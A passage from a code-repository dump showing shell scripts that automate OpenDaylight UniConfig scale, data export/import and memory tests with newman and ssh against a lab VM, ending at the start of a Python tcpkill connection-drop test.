netconf-18000\n# ...\n# one row for each device that will be tested\n# this file will be passed to newman to iterate\n# the test for each device present in the file\n\nnodes_file=\"nodes.csv\"\nrm_file \"$nodes_file\"\necho \"node_id\" >> $nodes_file\nfor (( dev=$first_device; dev<=$first_device+$device_number; dev++ ))\ndo\n node_id=$device_prefix$dev\n echo \"$node_id\" >> $nodes_file\ndone\n\n#commit/calculate diff/dry-run/sync body \nbody=\"{\n \\\"input\\\" : {\n \\\"target-nodes\\\" : {\n \\\"node\\\" :\n \n [\"\n\n\nfor (( dev=$first_device; dev<=device_peak; dev++ ))\ndo\n node_id=$device_prefix$dev\n node_body=\"\n \\\"$device_prefix$dev\\\"\"\n\n \n node_body=\"$node_body\n \"\n\n body=\"$body\n $node_body\n \"\n\n if [ \"$dev\" -ne \"$device_peak\" ]; then\n body=\"$body ,\";\n fi\ndone\n\nbody=\"$body\n ]\n}}}\"\n\n#echo $body\n\n#save body as json and use in postman thru variable \" --env-var \"data=$body\" \"\necho $body > body.json\n\n\n### setup testtool devices\necho \"Starting setup configuration inside netconf testtool devices with $device_number devices\"\n\n# add the initial configuration to the empty device\nfolder=\"setup config to testtool device\"\nrun_setup_loop \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n\nif [ \"$scenario_commit_all\" = true ]; then\n folder=\"setup commit all devices\"\n run_setup_folder_all_nodes \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\nelse\n folder=\"setup commit single device\"\n run_setup_loop \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\nfi\n\nfolder=\"setup show config in testtool device\"\nrun_setup_loop \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n\nfolder=\"setup sync from network\"\nrun_setup_folder_all_nodes \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\nfolder=\"setup calculate diff\"\nrun_setup_folder_all_nodes \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n\n# if there is a failure in the setup phase abort the test\nif [ -f $file ] ; then\n cat $file\n rm $file\n echo \"ERROR DURING TEST SETUP -> TEST ABORTED\"\n exit 1\nfi\n\necho \"Done setup configuration inside netconf testtool devices with $device_number devices\"\n\n\n# set report file name\nfile=\"report_iterations.txt\"\n\nfor (( iter=1; iter<=$iter_number; iter++ ))\ndo\n echo \"Starting unative scale test devices number $device_number iteration: $iter\"\n\n ### create\n # add an interface to the device configuration\n folder=\"create add interface to testtool device\"\n run_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n\n if [ \"$scenario_commit_all\" = true ]; then\n\t# commit all devices with one single commit\n\tcommit_folder=\"create commit all devices\"\n\trun_iter_folder_all_nodes \"$iter\" \"$collection\" \"$commit_folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n else\n\t# commit devices one by one with a specific commit\n\tcommit_folder=\"create commit single device\"\n\trun_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n fi\n\n # check changes in the device through netconf\n folder=\"create show config in testtool device\"\n run_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n\n # sync from network to get commmited changes also in the operational\n folder=\"create sync from network\"\n run_iter_folder_all_nodes \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n # calculate diff\n folder=\"create calculate diff\"\n run_iter_folder_all_nodes \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n\n ### update\n # update the description in the interface already created\n folder=\"update add config to testtool device\"\n run_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n\n # here pass device_number to the test to be sure that exactly device_number devices have a change\n calculate_diff_folder=\"update calculate diff all testtool devices\"\n run_iter_calculate_diff \"$iter\" \"$collection\" \"$calculate_diff_folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n if [ \"$scenario_commit_all\" = true ]; then\n\t# commit all devices with one single commit\n\tfolder=\"update commit all devices\"\n\trun_iter_folder_all_nodes \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n else\n\t# commit devices one by one with a specific commit\n\tfolder=\"update commit single device\"\n\trun_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n fi\n\n # check changes in the device through netconf\n folder=\"update show config in testtool device\"\n run_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n\n # sync from network to get commmited changes also in the operational\n folder=\"update sync from network\"\n run_iter_folder_all_nodes \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n # calculate diff\n folder=\"update calculate diff\"\n run_iter_folder_all_nodes \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n\n ### delete\n # delete interface on each device\n folder=\"delete config to testtool device\"\n run_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n\n if [ \"$scenario_commit_all\" = true ]; then\n\t# commit all devices with one single commit\n\tfolder=\"delete commit all devices\"\n\trun_iter_folder_all_nodes \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n else\n\t# commit devices one by one with a specific commit\n\tfolder=\"delete commit single device\"\n\trun_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n fi\n\n # check changes in the device through netconf\n folder=\"delete show config in testtool device\"\n run_iter_loop \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$nodes_file\" \"$file\"\n\n # sync from network to get commmited changes also in the operational\n folder=\"delete sync from network\"\n run_iter_folder_all_nodes \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n # calculate diff\n folder=\"delete calculate diff\"\n run_iter_folder_all_nodes \"$iter\" \"$collection\" \"$folder\" \"$odl_ip\" \"$device_number\" \"$file\"\n\n\n # Show meaningful test output:\n # commit duration\n if [ \"$scenario_commit_all\" = true ]; then\n\tget_commit_duration \"$iter\" \"$commit_folder\" \"$device_number\" \"$output_file\"\n else\n\tget_average_commit_duration \"$iter\" \"$commit_folder\" \"$first_device\" \"$device_number\" \"$device_prefix\" \"$output_file\"\n fi\n\n # calculate diff\n get_calculate_diff_duration \"$iter\" \"$calculate_diff_folder\" \"$device_number\" \"$output_file\"\n\n echo \"End unative scale test devices number $device_number iteration: $iter\"\ndone # end of iteration\n\n\n# test output presentation\nif [ -f $file ] ; then\n echo \"-------TEST FAILURE LIST-------\"\n cat $file\nfi\n\necho \"-------TEST OUTPUT-------\"\ncat_rm_file \"$output_file\"\n\n# if there is a failure make jenkins job failing\nif [ -f $file ] ; then\n rm $file\n exit 1\nfi\n" }, { "alpha_fraction": 0.582455575466156, "alphanum_fraction": 0.5882707834243774, "avg_line_length": 27.260465621948242, "blob_id": "969483bedd8c82ed269055f0f809fc201c10c5e1", "content_id": "3444ef53742d9f65943611bb1e9c1d25cf2827fd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 18228, "license_type": "no_license", "max_line_length": 267, "num_lines": 645, "path": "/uniconfig_framework/test_daexim.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# This script allows to run daexim test\n# to run it:\n# ./test_daexim.sh env_file collection_file odl_ip logfile stream\n# stream: [carbon, oxygen]\n\n#set -exu\nset +x\n\nenv_file=$1\ncollection_file=$2\nodl_ip=$3\nlogfile=$4\nstream=$5\n\n\nrm_file () {\n local _file=$1\n if [ -f $_file ] ; then\n\trm $_file\n fi\n}\n\nrun_folder () {\n local _collection_file=$1\n local _env_file=$2\n local _folder=$3\n local _odl_ip=$4\n local _file=$5\n\n local _test_id=\"collection: $_collection_file folder: $_folder\"\n echo $_test_id\n unbuffer newman run \"$_collection_file\" -e \"$_env_file\" --bail folder -n 1 --folder \"$_folder\" --env-var \"odl_ip=$_odl_ip\" --reporters cli,junit --reporter-junit-export \"./junit_results/$_folder.xml\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $_file; fi\n}\n\n\nkill_and_get_log () {\n local _odl_ip=$1\n local _test=$2\n echo \"Getting karaf.logs from odl vm: ${_odl_ip}\"\n sleep 30\n\n echo \"Killing karaf\"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no killall java\n sleep 10 #sleep to wait for karaf not to write any more into karaf.log\n\n echo \"Compressing karaf.log ${_odl_ip}\"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o \\\n StrictHostKeyChecking=no tar -zcvf \"${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/${_test}_karaf.log.tar.gz\" -C \"${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/data/\" \"log/\"\n\n echo \"Fetching compressed karaf.log ${_odl_ip}\"\n scp -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa \"vagrant@${_odl_ip}:${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/${_test}_karaf.log.tar.gz\" \"$WORKSPACE/${_test}_karaf.log.tar.gz\" || true\n\n}\n\n\ncheck_odl_backup_created () {\n local _odl_ip=$1\n local _test_id=$2\n local _file=$3\n\n echo \"Check odl backup created\"\n\n if ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no \"test -d ${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/daexim\"; then\n echo \"Backup exists\"\n else\n echo \"Backup NOT exists\"\n echo \"$_test_id FAILED\" >> $_file\n fi\n\n}\n\n\nclean_karaf () {\n local _odl_ip=$1\n\n echo \"Cleaning karaf\"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no rm -rf \"${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/journal\" \"${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/snapshots\"\n\n}\n\n\nset_daexim_flag () {\n local _odl_ip=$1\n\n echo \"Set daexim flag\"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no \"echo 'daexim.importOnInit=true' > ${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/etc/org.opendaylight.daexim.cfg\"\n\n echo \"Show daexim flag\"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no cat ${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/etc/org.opendaylight.daexim.cfg\n\n}\n\n\nrm_daexim_config_file () {\n local _odl_ip=$1\n\n echo \"Remove daexim config file\"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no \"rm ${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/etc/org.opendaylight.daexim.cfg\"\n\n}\n\n\nrm_daexim_folder () {\n local _odl_ip=$1\n\n echo \"Remove daexim folder\"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no \"rm -r ${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/daexim\"\n\n}\n\n\nstart_karaf () {\n local _odl_ip=$1\n\n echo \"Start karaf\"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no nohup ${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/bin/start\n\n\n}\n\n\n\n\nchange_karaf_features () {\n local _odl_ip=$1\n local _features=$2\n local features_file=\"${KARAF_INSTALLDIR}/${BUNDLEFOLDER}/etc/org.apache.karaf.features.cfg\"\n\n echo \"Change karaf features in config file: \"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no \"sed -i \\\"s/\\(odlFeaturesBoot=odl-netconf-topology\\).*/\\1,${_features}/\\\" $features_file\"\n\n echo \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n echo \"Show updated karaf features config file: \"\n ssh vagrant@${_odl_ip} -i $WORKSPACE/scripts/releng/sshkeysforlab/.ssh/id_rsa -o StrictHostKeyChecking=no \"cat $features_file\"\n echo \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n}\n\n\n\n\n\n\nrm_file \"$logfile\"\ntouch $logfile\n\nmkdir -p junit_results\n\n\n\nif [ \"$stream\" == \"oxygen\" ]\nthen\n echo \"Executing test for oxygen\"\n\n echo \"############################################################################\"\n ## test_case_1\n # start odl with uniconfig features\n folder=\"daexim_uniconfig_simple_export\"\n echo \"######### test_case_1: $folder\"\n\n # run postman collection with mount R1, R2, simple export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # check if there is content in the two odl backup files\n check_odl_backup_created \"$odl_ip\" \"$folder\" \"$logfile\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # test_case_2\n # import from scratch\n folder=\"daexim_uniconfig_import_from_scratch\"\n echo \"######### test_case_2: $folder\"\n\n # set flag in configuration\n set_daexim_flag \"$odl_ip\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to check if is imported\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # rm daexim config file\n rm_daexim_config_file \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # test_case_3\n # immediate import\n folder=\"daexim_uniconfig_immediate_import\"\n echo \"######### test_case_3: $folder\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to check if is imported\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # rm daexim folder\n rm_daexim_folder \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # test_case_4 whitelist uniconfig all nodes\n # export\n folder=\"daexim_uniconfig_whitelist_all_nodes_export\"\n echo \"######### test_case_4 export: $folder\"\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # import\n folder=\"daexim_uniconfig_whitelist_all_nodes_import\"\n echo \"######### test_case_4 import: $folder\"\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to import\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # rm daexim folder\n rm_daexim_folder \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # test_case_5 whitelist uniconfig one node\n # export\n folder=\"daexim_uniconfig_whitelist_one_node_export\"\n echo \"######### test_case_5 export: $folder\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # import\n folder=\"daexim_uniconfig_whitelist_one_node_import\"\n echo \"######### test_case_5 import: $folder\"\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # rm daexim folder\n rm_daexim_folder \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # test_case_6 whitelist unative all nodes\n # export whitelist\n folder=\"daexim_unative_whitelist_all_nodes_export\"\n echo \"######### test_case_6 export: $folder\"\n\n # change karaf features from uniconfig to unative\n change_karaf_features \"$odl_ip\" \"${KARAF_UNATIVE_FEATURES}\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip unative\n cd -;\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # import 1: just run odl and install unative features\n # import whitelist\n folder=\"daexim_unative_whitelist_all_nodes_import_with_features\"\n echo \"######### test_case_6 import: $folder\"\n # change karaf features from uniconfig to unative\n change_karaf_features \"$odl_ip\" \"${KARAF_UNATIVE_FEATURES}\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip unative\n cd -;\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # import 2: don't install features and run command\n # import whitelist\n folder=\"daexim_unative_whitelist_all_nodes_import\"\n echo \"######### test_case_6 import: $folder\"\n # change karaf features from uniconfig to unative\n # for this test do not install features\n change_karaf_features \"$odl_ip\" \"\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n # in this case no features are installed\n # just wait a while to have karaf ready\n sleep 120\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # rm daexim folder\n rm_daexim_folder \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n\n echo \"############################################################################\"\n # test_case_7 whitelist unative one node\n # export whitelist\n folder=\"daexim_unative_whitelist_one_node_export\"\n echo \"######### test_case_7 export: $folder\"\n\n # change karaf features from uniconfig to unative\n change_karaf_features \"$odl_ip\" \"${KARAF_UNATIVE_FEATURES}\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip unative\n cd -;\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # import 1: just run odl and install unative features\n # import whitelist\n folder=\"daexim_unative_whitelist_one_node_import_with_features\"\n echo \"######### test_case_7 import: $folder\"\n # change karaf features from uniconfig to unative\n change_karaf_features \"$odl_ip\" \"${KARAF_UNATIVE_FEATURES}\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip unative\n cd -;\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # import 2: don't install features and run commant\n # import whitelist\n folder=\"daexim_unative_whitelist_one_node_import\"\n echo \"######### test_case_7 import: $folder\"\n # change karaf features from uniconfig to unative\n # for this test do not install features\n change_karaf_features \"$odl_ip\" \"\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n # in this case no features are installed\n # just wait a while to have karaf ready\n sleep 120\n\n # run postman collection to export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\nelif [ \"$stream\" == \"carbon\" ]\nthen\n\n echo \"Executing test for carbon\"\n\n echo \"############################################################################\"\n ## test_case_1\n # start odl with uniconfig features\n folder=\"daexim_uniconfig_simple_export\"\n echo \"######### test_case_1: $folder\"\n\n # run postman collection with mount R1, R2, simple export\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # check if there is content in the two odl backup files\n check_odl_backup_created \"$odl_ip\" \"$folder\" \"$logfile\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # test_case_2\n # import from scratch\n folder=\"daexim_uniconfig_import_from_scratch_carbon\"\n echo \"######### test_case_2: $folder\"\n\n # set flag in configuration\n set_daexim_flag \"$odl_ip\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to check if is imported\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # rm daexim config file\n rm_daexim_config_file \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n\n echo \"############################################################################\"\n # test_case_3\n # immediate import\n folder=\"daexim_uniconfig_immediate_import_carbon\"\n echo \"######### test_case_3: $folder\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to check if is imported\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # rm daexim config file\n rm_daexim_config_file \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\n echo \"############################################################################\"\n # test_case_4\n # immediate import without body\n folder=\"daexim_uniconfig_empty_immediate_import_carbon\"\n echo \"######### test_case_4: $folder\"\n\n # start karaf\n start_karaf \"$odl_ip\"\n\n # check karaf ready\n cd $WORKSPACE/scripts/scripts/; ./check_uniconfig_ready.sh $odl_ip uniconfig\n cd -;\n\n # run postman collection to check if is imported\n run_folder \"$collection_file\" \"$env_file\" \"$folder\" \"$odl_ip\" \"$logfile\"\n\n # kill and get log\n kill_and_get_log \"$odl_ip\" \"$folder\"\n\n # clean karaf\n clean_karaf \"$odl_ip\"\n\n # rm daexim folder\n rm_daexim_folder \"$odl_ip\"\n\n # add a sleep to wait a bit everything is cleaned\n sleep 30\n\nelse\n echo \"Unknown stream: it must be 'carbon' or 'oxygen'\"\nfi\n\n\n\n# test output presentation\nif [ -f $logfile ] ; then\n echo \"-------TEST FAILURE LIST-------\"\n cat $logfile\nfi\n" }, { "alpha_fraction": 0.6243420839309692, "alphanum_fraction": 0.6394736766815186, "avg_line_length": 32.043479919433594, "blob_id": "4e285e0339bbdbecf6e83bcfd4e42e5e8f6335da", "content_id": "d2ca2b8f6f47e325a05b26b86b5e1f12d634d887", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1520, "license_type": "no_license", "max_line_length": 157, "num_lines": 46, "path": "/uniconfig_framework/test_ram.sh", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/bin/bash\nset +x\n\n# To run the test script:\n# ./test_ram.sh <postman_env> <time_duration> <logfile>\n# e.g.: ./test_ram.sh xrv5.3.4_env.json \"+10 minutes\" \"test_ram.log\"\n# e.g.: ./test_ram.sh xrv5.3.4_env.json \"+30 days\" \"test_ram.log\"\n\ndevice=$1\ntest_duration=$2\nlogfile=$3\ncollection=pc_uniconfig_RPC_test_ram.json\n\nif [ -f $logfile ] ; then\n rm $logfile\nfi\ntouch $logfile\n\nend_test_date=$(date --utc -d \"$test_duration\" +%s);\necho \"##### Expected end test date: `date --utc -d @$end_test_date`\"\n\n# run setup\nfolder=\"xr5_RPC_test_ram_setup\"\n_test_id=\"collection: $collection folder: $folder\"\necho $_test_id\nunbuffer newman run $collection --bail --bail folder -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $logfile; fi\n\n# run the main test in a loop\nfolder=\"RPC_configure_and_delete_loopback\"\nwhile [ $(date --utc +%s) -lt $end_test_date ]; do\n timestamp=$(date --utc '+%Y-%m-%d-%H.%M.%S')\n _test_id=\"$timestamp collection: $collection folder: $folder\"\n echo $_test_id\n unbuffer newman run $collection --bail --bail folder -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $logfile; fi\n sleep 60\ndone\n\n# run teardown\nfolder=\"xr5_RPC_test_ram_teardown\"\n_test_id=\"collection: $collection folder: $folder\"\necho $_test_id\nunbuffer newman run $collection --bail --bail folder -e $device -n 1 --folder \"$folder\"; if [ \"$?\" != \"0\" ]; then echo \"$_test_id FAILED\" >> $logfile; fi\n\nif [ -f $logfile ] ; then\n cat $logfile\nfi\n" }, { "alpha_fraction": 0.6183962225914001, "alphanum_fraction": 0.6214150786399841, "avg_line_length": 35.80555725097656, "blob_id": "54bff08a96fbeb442059582e456f9aa303255fba", "content_id": "53d9d4843e0df7c26def9e4760436ed3d593eb1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10600, "license_type": "no_license", "max_line_length": 145, "num_lines": 288, "path": "/uniconfig_framework/test_tcpkill.py", "repo_name": "FRINXio/Postman", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\nimport os\nimport sys\nimport time\nimport subprocess\nimport requests\nimport argparse\nimport random\nimport datetime\nimport psutil\nimport threading\nimport logging\n\n\ndef get_args(argv=None):\n parser = argparse.ArgumentParser(description=\"Random tcpkill test\")\n parser.add_argument('--odl-ip', action='store', type=str, default=None, required=True,\n help='IP address of machine where is running ODL. In case of ODL cluster test this must be the leader IP.')\n parser.add_argument('--first-port', action='store', type=int, default=None, required=True,\n help='First port number')\n parser.add_argument('--port-number', action='store', type=int, default=None, required=True,\n help='Number of ports')\n parser.add_argument('--interface', action='store', type=str, default='lo',\n help='Interface name to be blocked with tcpkill')\n parser.add_argument('--log-file', action='store', type=str, default='test_tcpkill.log',\n help='log file where to store errors')\n parser.add_argument('--iterations', action='store', type=int, default=1,\n help='Number of iterations of the test')\n parser.add_argument('--delay', action='store', type=float, default=1,\n help='Delay between each tcpkill')\n parser.add_argument('--followers', action='store', type=str, 